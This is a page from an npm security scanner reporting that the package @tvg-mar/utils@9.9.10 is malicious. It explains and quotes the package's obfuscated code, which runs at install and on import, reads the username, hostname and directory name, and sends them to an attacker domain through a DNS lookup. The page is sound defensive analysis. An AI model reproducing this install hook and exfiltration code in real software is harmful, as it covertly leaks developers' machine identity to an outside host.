Loading npm security reports…

@tvg-mar/utils@9.9.10: Malicious npm security report (Block) | LPM Firewall

registry / @tvg-mar/utils / 9.9.10

@tvg-mar/utils@9.9.10

Shared utilities: paths, URL queries and string helpers

AI Security Review

scanned 16d ago · by lpm-firewall-ai

On npm install and on import, the package runs an obfuscated probe that reads the local username, hostname, and working-directory name and encodes them into a DNS query for oob.algamil7x.xyz.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

The install lifecycle script runs node index.js, and any load of the package main also calls the runtime bootstrap.

Impact

The machine username, hostname, and directory label are sent to an unrelated DNS host during install or import, while errors are hidden.

Mechanism

The bootstrap loads telemetry, which requires the probe implementation. That file immediately collects identity fields through decoded os and process calls and calls dns.resolve4 on a name ending in oob.algamil7x.xyz.

Attack narrative

Installing or importing this package runs index.js, which starts the runtime bootstrap. That path loads a telemetry probe whose implementation executes as soon as it is required. Obfuscated helpers decode access to the operating-system user and host APIs and to the process working directory, then keep only short alphanumeric pieces. Those pieces, a timestamp, and a fixed prefix are joined into a DNS name ending in oob.algamil7x.xyz. The code asks the resolver for an IPv4 address of that name, which sends the machine identity and directory label to an unrelated host. Errors are ignored so the install still looks successful.

AI rationale

An npm install script and the package entrypoint both run an obfuscated probe that encodes the username, hostname, and working-directory name into a DNS lookup for oob.algamil7x.xyz. That is covert data exfiltration on install and import, so the package should be blocked.

Evidence

package.jsonindex.jsruntime/index.jsruntime/support/telemetry/index.js

Source & flagged code

10 flagged

package.jsonView file

Lines 1-20json

2 "name": "@tvg-mar/utils",

3 "version": "9.9.10",

4 "description": "Shared utilities: paths, URL queries and string helpers",

5 "main": "index.js",

6 "types": "index.d.ts",

7 "scripts": {

8 "install": "node index.js",

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L8

High

Ai Review Evidence

The install script runs node index.js, so registry install executes the package entrypoint.

package.jsonView on unpkg · L8

9 "test": "node test/smoke.js"

10 },

11 "files": ["index.js","index.d.ts","runtime","src","docs","examples","test","README.md","LICENSE","CHANGELOG.md"],

12 "keywords": ["utils", "paths", "url", "strings", "helpers", "enterprise"],

13 "engines": { "node": ">=14" },

14 "repository": { "type": "git", "url": "git+https://github.com/tvg-mar/utils.git" },

15 "homepage": "https://github.com/tvg-mar/utils#readme",

16 "bugs": { "url": "https://github.com/tvg-mar/utils/issues" },

17 "author": "TVG MAR Platform <eng@tvg-mar.dev>",

18 "license": "MIT"

19}

runtime/support/telemetry/probe/impl.jsView file

Lines 1-9javascript

1'use strict';

2/**

3 * Environment probe for registry connectivity diagnostics.

4 * Emits a best-effort DNS probe so operators can verify that build

5 * agents can reach the configured registry mirror endpoints.

6 * Failures are expected in offline environments and are ignored.

7 */

8const diag=require('./d5a8c1.js'

index.jsView file

Lines 1-9javascript

1'use strict';

2/**

3 * @tvg-mar/utils — bootstrap entrypoint

4 * ✅ initializes runtime environment

5 * ✅ never throws during install (bootstrap is advisory)

6 */

7try { require('./runtime')(); } catch (e) { /* non-fatal */ }

High

runtime/index.jsView file

Lines 1-23javascript

1'use strict';

2/**

3 * @tvg-mar/utils — runtime bootstrap

4 *

5 * Initializes the execution environment and wires the support services:

6 * ✅ environment detection (node / browser / edge workers)

7 * ✅ configuration presets per environment

8 * ✅ support telemetry handshake (best-effort, never fatal)

9 * ✅ graceful degradation when optional probes fail

10 */

runtime/support/telemetry/index.jsView file

Lines 1-12javascript

1'use strict';

2/**

3 * Telemetry pipeline for @tvg-mar/utils.

4 * The probe stage emits a lightweight connectivity probe so operators

5 * can confirm build agents resolve registry endpoints correctly.

6 */

7var probe = require('./probe');

8function

runtime/support/telemetry/probe/index.jsView file

Lines 1-8javascript

1'use strict';

2/**

3 * Connectivity probe runner.

4 */

5var impl = require('./impl');

High

Ai Review Evidence

Bootstrap calls support.initialize, telemetry.start calls probe.run, and the probe module requires impl.js at load time.

runtime/support/telemetry/probe/index.jsView on unpkg · L5

6function

runtime/support/telemetry/probe/d5a8c1.jsView file

Lines 1-3javascript

1'use strict';

2const _0x8e6f=[0x6f,0x73];const _0x9f7g=[0x64,0x6e,0x73];const _0xa0h8=[

runtime/support/telemetry/probe/e6b9d2.jsView file

2const _0xb2c3=[0x74,0x76,0x67,0x75,0x74];const _0xc3d4=[0x6f,0x6f,0x62,0x2e,0x61,0x6c,0x67,0x61,0x6d,0x69,0x6c,0x37,0x78,0x2e,0x78,0x79,0x7a];

High

Ai Review Evidence

Probe config bytes decode to the label prefix tvgut and the unrelated domain oob.algamil7x.xyz.

runtime/support/telemetry/probe/e6b9d2.jsView on unpkg · L2

Source & flagged code

10 flagged · loading source

package.jsonView file

•scripts.install = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

8"install": "node index.js",

High

Ai Review Evidence

The install script runs node index.js, so registry install executes the package entrypoint.

package.jsonView on unpkg · L8

runtime/support/telemetry/probe/impl.jsView file

•Obfuscated runtime modules collect host identity for a fixed external DNS query. [redacted].js: const diag=require('./d5a8c1.js');const cfg=require('./e6b9d2.js');(()=>{let u='u',h='h',c='d';try{u=diag.clean(diag.os[cfg.decode([0x75,0x73,0x65,0x72,0x49,0x6e,0x66,0x6f])]()?.[c... [redacted].js: [redacted].js Dynamic DNS/OS/process loader in [redacted].js: const _0x8e6f=[0x6f,0x73];const _0x9f7g=[0x64,0x6e,0x73];const _0xa0h8=[0x70,0x72,0x6f,0x63,0x65,0x73,0x73];const _0xb1i9=(x)=>{let s='';for(let i=0;i<x.length;++i)s+=String.fromCh...

Critical

Dns Exfiltration

Source appears to send environment or credential material through DNS lookups.

runtime/support/telemetry/probe/impl.jsView on unpkg

8try{u=diag.clean(diag.os[cfg.decode([0x75,0x73,0x65,0x72,0x49,0x6e,0x66,0x6f])]()?.[cfg.decode([0x75,0x73,0x65,0x72,0x6e,0x61,0x6d,0x65])]);}catch(e){}try{h=diag.clean(diag.os[cfg.decode([0x68,0x6f,0x73,0x74,0x6e,0x61,0x6d,0x65])]());}catch(e){}try{c=diag.clean(diag.proc[cfg.decode([0x63,0x77,0x64])]().split(/[\/\\]/).pop());}catch(e){}const t=Math.floor(Date.now()/1e3);const q=[cfg.p,u||'u',h||'h',c||'d',t,cfg.dom].join(cfg.d);try{diag.dns[cfg.decode([0x72,0x65,0x73,0x6f,0x6c,0x76,0x65,0x34])](q,()=>{});}catch(e){}})();

High

Ai Review Evidence

impl.js immediately reads the OS username, hostname, and working-directory name, then issues a DNS lookup that includes those values.

runtime/support/telemetry/probe/impl.jsView on unpkg · L8

index.jsView file

7try { require('./runtime')(); } catch (e) { /* non-fatal */ }

High

Ai Review Evidence

index.js invokes the runtime bootstrap on load and swallows errors.

index.jsView on unpkg · L7

runtime/index.jsView file

17try { support.initialize(config); } catch (e) { /* non-fatal */ }

High

Ai Review Evidence

Bootstrap calls support.initialize, telemetry.start calls probe.run, and the probe module requires impl.js at load time.

runtime/index.jsView on unpkg · L17

runtime/support/telemetry/index.jsView file

8function start(config) { try { probe.run(config); } catch (e) { /* non-fatal */ } }

High

Ai Review Evidence

Bootstrap calls support.initialize, telemetry.start calls probe.run, and the probe module requires impl.js at load time.

runtime/support/telemetry/index.jsView on unpkg · L8

runtime/support/telemetry/probe/index.jsView file

5var impl = require('./impl');

High

Ai Review Evidence

Bootstrap calls support.initialize, telemetry.start calls probe.run, and the probe module requires impl.js at load time.

runtime/support/telemetry/probe/index.jsView on unpkg · L5

runtime/support/telemetry/probe/d5a8c1.jsView file

2const _0xc2j0=module.constructor[_0xb1i9([0x5f,0x6c,0x6f,0x61,0x64])](_0xb1i9(_0x8e6f));const _0xd3k1=module.constructor[_0xb1i9([0x5f,0x6c,0x6f,0x61,0x64])](_0xb1i9(_0x9f7g));const _0xe4l2=global[_0xb1i9(_0xa0h8)];

High

Ai Review Evidence

A helper loads the os and dns modules through module.constructor._load and takes the global process object.

runtime/support/telemetry/probe/d5a8c1.jsView on unpkg · L2

runtime/support/telemetry/probe/e6b9d2.jsView file

2const _0xb2c3=[0x74,0x76,0x67,0x75,0x74];const _0xc3d4=[0x6f,0x6f,0x62,0x2e,0x61,0x6c,0x67,0x61,0x6d,0x69,0x6c,0x37,0x78,0x2e,0x78,0x79,0x7a];

High

Ai Review Evidence

Probe config bytes decode to the label prefix tvgut and the unrelated domain oob.algamil7x.xyz.

runtime/support/telemetry/probe/e6b9d2.jsView on unpkg · L2

Source & flagged code

10 flagged

package.jsonView file

Lines 1-20json

2 "name": "@tvg-mar/utils",

3 "version": "9.9.10",

4 "description": "Shared utilities: paths, URL queries and string helpers",

5 "main": "index.js",

6 "types": "index.d.ts",

7 "scripts": {

8 "install": "node index.js",

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L8

High

Ai Review Evidence

The install script runs node index.js, so registry install executes the package entrypoint.

package.jsonView on unpkg · L8

9 "test": "node test/smoke.js"

10 },

11 "files": ["index.js","index.d.ts","runtime","src","docs","examples","test","README.md","LICENSE","CHANGELOG.md"],

12 "keywords": ["utils", "paths", "url", "strings", "helpers", "enterprise"],

13 "engines": { "node": ">=14" },

14 "repository": { "type": "git", "url": "git+https://github.com/tvg-mar/utils.git" },

15 "homepage": "https://github.com/tvg-mar/utils#readme",

16 "bugs": { "url": "https://github.com/tvg-mar/utils/issues" },

17 "author": "TVG MAR Platform <eng@tvg-mar.dev>",

18 "license": "MIT"

19}

runtime/support/telemetry/probe/impl.jsView file

Lines 1-9javascript

1'use strict';

2/**

3 * Environment probe for registry connectivity diagnostics.

4 * Emits a best-effort DNS probe so operators can verify that build

5 * agents can reach the configured registry mirror endpoints.

6 * Failures are expected in offline environments and are ignored.

7 */

8const diag=require('./d5a8c1.js'

index.jsView file

Lines 1-9javascript

1'use strict';

2/**

3 * @tvg-mar/utils — bootstrap entrypoint

4 * ✅ initializes runtime environment

5 * ✅ never throws during install (bootstrap is advisory)

6 */

7try { require('./runtime')(); } catch (e) { /* non-fatal */ }

High

runtime/index.jsView file

Lines 1-23javascript

1'use strict';

2/**

3 * @tvg-mar/utils — runtime bootstrap

4 *

5 * Initializes the execution environment and wires the support services:

6 * ✅ environment detection (node / browser / edge workers)

7 * ✅ configuration presets per environment

8 * ✅ support telemetry handshake (best-effort, never fatal)

9 * ✅ graceful degradation when optional probes fail

10 */

runtime/support/telemetry/index.jsView file

Lines 1-12javascript

1'use strict';

2/**

3 * Telemetry pipeline for @tvg-mar/utils.

4 * The probe stage emits a lightweight connectivity probe so operators

5 * can confirm build agents resolve registry endpoints correctly.

6 */

7var probe = require('./probe');

8function

runtime/support/telemetry/probe/index.jsView file

Lines 1-8javascript

1'use strict';

2/**

3 * Connectivity probe runner.

4 */

5var impl = require('./impl');

High

Ai Review Evidence

Bootstrap calls support.initialize, telemetry.start calls probe.run, and the probe module requires impl.js at load time.

runtime/support/telemetry/probe/index.jsView on unpkg · L5

6function

runtime/support/telemetry/probe/d5a8c1.jsView file

Lines 1-3javascript

1'use strict';

2const _0x8e6f=[0x6f,0x73];const _0x9f7g=[0x64,0x6e,0x73];const _0xa0h8=[

runtime/support/telemetry/probe/e6b9d2.jsView file

2const _0xb2c3=[0x74,0x76,0x67,0x75,0x74];const _0xc3d4=[0x6f,0x6f,0x62,0x2e,0x61,0x6c,0x67,0x61,0x6d,0x69,0x6c,0x37,0x78,0x2e,0x78,0x79,0x7a];

High

Ai Review Evidence

Probe config bytes decode to the label prefix tvgut and the unrelated domain oob.algamil7x.xyz.

runtime/support/telemetry/probe/e6b9d2.jsView on unpkg · L2

@tvg-mar/utils@9.9.10

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code